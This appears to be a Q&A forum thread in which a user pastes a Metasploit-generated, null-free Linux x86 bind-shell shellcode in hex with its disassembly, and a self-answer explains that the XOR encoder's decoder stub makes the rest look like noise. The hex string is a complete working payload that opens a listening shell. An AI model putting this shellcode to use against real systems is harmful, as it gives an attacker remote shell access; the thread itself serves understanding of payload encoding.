2

So I just used metasploit to generate the payload/linux/x86/shell_bind_tcp payload without null bytes (generate -t raw -b '\x00' -f shellcode). Here's the shellcode:

$ xxd -p shellcode dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07 e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a 589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29 743bb1c0eacad642a045f9d24d9b7a

And here's what objdump thinks the shellcode is:

$ objdump -D -b binary -m i386 shellcode shellcode: file format binary Disassembly of section .data: 00000000 <.data>: 0: db dd fcmovnu st,st(5) 2: d9 74 24 f4 fnstenv [esp-0xc] 6: 5e pop esi 7: 33 c9 xor ecx,ecx 9: bf 0e 0f 58 44 mov edi,0x44580f0e e: b1 14 mov cl,0x14 10: 31 7e 19 xor DWORD PTR [esi+0x19],edi 13: 83 c6 04 add esi,0x4 16: 03 7e 15 add edi,DWORD PTR [esi+0x15] 19: ec in al,dx 1a: fa cli 1b: 69 9f 07 e7 d9 5c b4 imul ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4 22: 82 df eb 25: db e3 fninit 27: 86 26 xchg BYTE PTR [esi],ah 29: 9b fwait 2a: 5f pop edi 2b: 19 eb sbb ebx,ebp 2d: f3 5d repz pop ebp 2f: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 30: 1a 5f 08 sbb bl,BYTE PTR [edi+0x8] 33: b5 4d mov ch,0x4d 35: 0f 45 54 07 c9 cmovne edx,DWORD PTR [edi+eax*1-0x37] 3a: 0d 5a 58 9c ef or eax,0xef9c585a 3f: 60 pusha 40: ea 9a 5f 0e c1 22 dc jmp 0xdc22:0xc10e5f9a 47: 7f bf jg 0x8 49: ef out dx,eax 4a: 63 ec arpl sp,bp 4c: 19 85 5c 4b 57 d9 sbb DWORD PTR [ebp-0x26a8b4a4],eax 52: ea 12 9f b1 c3 cb 2c jmp 0x2ccb:0xc3b19f12 59: 29 74 3b b1 sub DWORD PTR [ebx+edi*1-0x4f],esi 5d: c0 ea ca shr dl,0xca 60: d6 (bad) 61: 42 inc edx 62: a0 45 f9 d2 4d mov al,ds:0x4dd2f945 67: 9b fwait 68: 7a .byte 0x7a

This link also gives a similar disassembly: http://www.onlinedisassembler.com/odaweb/x1SSxJ/0

I might be wrong, but this shellcode seems strange. First of all, it doesn't work, but that's not enough to show that it's wrong. The second issue is that objdump says (bad) near the bottom, which probably means the assembly is wrong. The final thing is that I have no clue what it's doing after reading the assembly. Generating the shellcode for this same payload with null bytes gives correct, readable assembly. I don't think removing null bytes can add this much complexity to the shellcode.

Did I do something wrong? If not, can someone explain how the shellcode works?

Improve this question

1 Answer 1

Reset to default
2

Alright, I've gotten some answers from asking in the IRC channel.

When you use -b, the shellcode is encoded to avoid the bytes specified. The decoder is attached to the beginning, and that code is actually readable and makes sense. This specific decoder apparently does something with XORing bytes in the shellcode, which explains why the shellcode looks like garbage when disassembled (they're not actually instructions). Also, stepping through the shellcode with GDB often will not work because GDB will replace the next instruction with 0xCC, or a breakpoint. This means the decoder will XOR the wrong bytes, causing the program to crash.

The shellcode is actually correct and I've gotten it to work for my exploit.

Improve this answer

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.